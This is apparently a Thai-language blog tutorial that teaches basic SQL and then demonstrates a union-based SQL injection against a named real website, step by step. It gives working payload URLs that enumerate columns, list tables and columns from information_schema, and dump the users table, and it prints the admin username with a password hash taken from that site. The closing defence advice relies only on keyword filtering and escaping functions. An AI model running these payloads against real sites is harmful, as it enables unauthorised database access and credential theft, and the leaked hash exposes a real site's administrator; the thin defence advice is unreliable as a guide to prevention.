มาเริ่มกันเลย
1.พื้นฐาน ภาษา SQL
ผมจะสอนแค่คำสั่งพื้นฐานบางคำสั่งเท่านั้นนะครับ
1.1 คำสั่งในการหยิบข้อมูลจากฐานข้อมูลมาแสดง >>>> SELECT คอร์ลัมของตาราง X FROM ตาราง X
1.2 คำสั่ง UNION เป็นคำสั่งช่วยในการหยิบข้อมูลมากกว่า 1 อย่าง ตัวอย่าง เช่น
SELECT คอร์ลัมของตาราง X FROM ตาราง X UNION SELECT คอร์ลัมของตาราง Y FROM ตาราง Y <<<< เป็นการหยิบข้อมูล X กับ Y มาแสดง
เอาล่ะจะมี โมเดลมาเพื่อให้เห็นภาพชัดเจน
เข้าเว็บ “http://www.prinsmaurits.nl/show.php?id=90” รูปที่ 1
อธิบายรูป >> ที่หลังเเครื่องหมาย ? จะเป็นตัวแปรในภาษา php ในวันนี้คือตัวแปร ชื่อ id ค่าในตัวแปร = 90 เป็นการส่งค่าแบบ get
สิ่งที่เว็บนี้ทำก็คือเรียกหน้า show.php + กับส่งค่า id=90 เพื่อดึงข้อมูลในฐานขอมูลออกมาแสดง จากในรูปตรงส่วนของ
Casino Rowan และ Reacties คือส่วนที่ดึงข้อมูลจากฐานข้อมูลมาแสดง (และยังอาจมีส่วนอื่นๆด้วย)
ทีนี้เราจะเชคว่าตัวแปรนี้มีช่องโหว่หรือไม่ด้วยการใส่เครื่องหมาย ‘ หรือ single quote ลงไปหลังตัวแปร จะได้ดังรูปที่ 2
มี error ในรูปแบบอย่างนี้ ค่อยข้างชัวร์ว่า รั่วแน่ ทีนี้เราก็จัดการใช้คำสั่งที่ผมสอนไว้ข้างบนมาเริ่มเลย เริ่มจากการใช้ UNION เลย เราก็ทำเงื่อนไข
ข้างหน้าให้เป็น เท็จจะได้ด้วยวิธีใดก็แล้วแต่ในที่นี้ผมเติม – เข้าไปหน้าค่าของตัวแปรเพื่อไม่ให้แสดงข้อมูลของเว็บโดยจะให้แสดงข้อมมูลที่ เราต้องการ
ซึ่งหยิบจากเงื่อนไขหลัง UNION อะตัวอย่างเลยดีกว่า
“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1–”
หมายเหตุ : เครื่องหมาย “+” หรือ “%20” หมายถึงเว้นวรรค และ เครื่องหมาย “–” คือ comment
ทีนี้เราก็มาไล่กันว่าหน้านี้มีกี่ column ที่นำมาแสดง อะตัวอย่าง
ไล่ไปโดยเพิ่มทีละ 1 ไปเรื่อยจนกว่าตรงหัวข้อ Reacties จะไม่ได้แสดงข้อความ error ตามรูป
(เหตุผลที่สนใจหัวข้อนี้เพราะมันสามารถดึงข้อมมูลมาแสดงได้เยอะดี)
จะเห็นว่ามีเลข 1,2,3 แสดงในเว็บตรงแถวๆหัวข้อ Reacties นั้นคือเราสามารถเอาเลขที่เราไล่มะกี้มาแสดงบนเว็บได้แล้ว ทีนี้เราจะเปลี่ยนจากเลขเป็น
user pass ของคนในเว็บ เราก็เริ่มจากหาตารางในเว็บก่อนว่ามีตารางอะไรบ้าง โดยใช้ในสิ่งที่สอนไปข้างบน เอาตัวอย่างเลยละกัน
“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,table_name,3,4,5,6%20FROM%20information_schema.tables–”
(หมายเหตุ information_schema.tables คือ ตารางมาตรฐานที่เก็บข้อมูลตารางทั้งหมดไว้)
จะเห็นว่าได้ตารางมาเยอะเลย แต่สิ่งที่เราสนใจคือ ตาราง users หลังจากได้ตารางมาแล้วทีนี้เราก็มาหา column ที่เราสนใจ โดยใช้คำสั่ง
“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,column_name,3,4,5,6%20FROM%20information_schema.columns–”
(หมายเหตุ information_schema.columns คือ ตารางมาตรฐานที่เก็บข้อมูล column ทั้งหมดไว้)
จะเห็นว่าได้ column มาเยอะเลยแต่ column ที่เราสนใจคือ username กับ password
ที่นี้เราก็นำ สิ่งที่ได้มารวมกัน เพื่อดึงข้อมูลในฐานข้อมูลมาแสดง ในที่นี้จะเพิ่มอีกคำสั่งหนึ่งคือ concat() คือคำสั่งดึงข้อมูลหลาย column
มาแสดงที่เว็บ column เดียว เอ๊ะยังไง ดูตัวอย่างเลยละกัน
“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,CONCAT_WS(0x3A,username,password),3,4,5,6%20FROM%20users–”
(หมายเหตุ 0x3A คืือเครื่องหมาย ” : ” ในเลขฐานสิบหก ในที่นี้ใช้กั้นระหว่าง username กับ password)
จากรูปเราก็จะได้ user : admin กับ password : cbc6a2d11896b664a71c917fbe7532f2321735b6
ขอบคุณเว็บ Prins Maurits เป็นอย่างสูง(ปัจจุบันเว็บเขาได้แก้ไขช่องโหว่ไปแล้วจึงนำมาเผยแพร่เป็นความรู้)
ปล.สามารถคลิกที่รูปเพื่อดูรูปขนาดจริง
วิธีป้องกัน SQLi ที่สำคัญคือเราต้องตรวจสอบ input ที่ระบบรับเข้ามาแล้วทำการ filter ส่วนที่เป็น SQL injection statement ออกไป เช่น union,’ เป็นต้น หรืออาจจะใช้ function ช่วยในการ filter เช่น addslashes, mysql_real_escape
References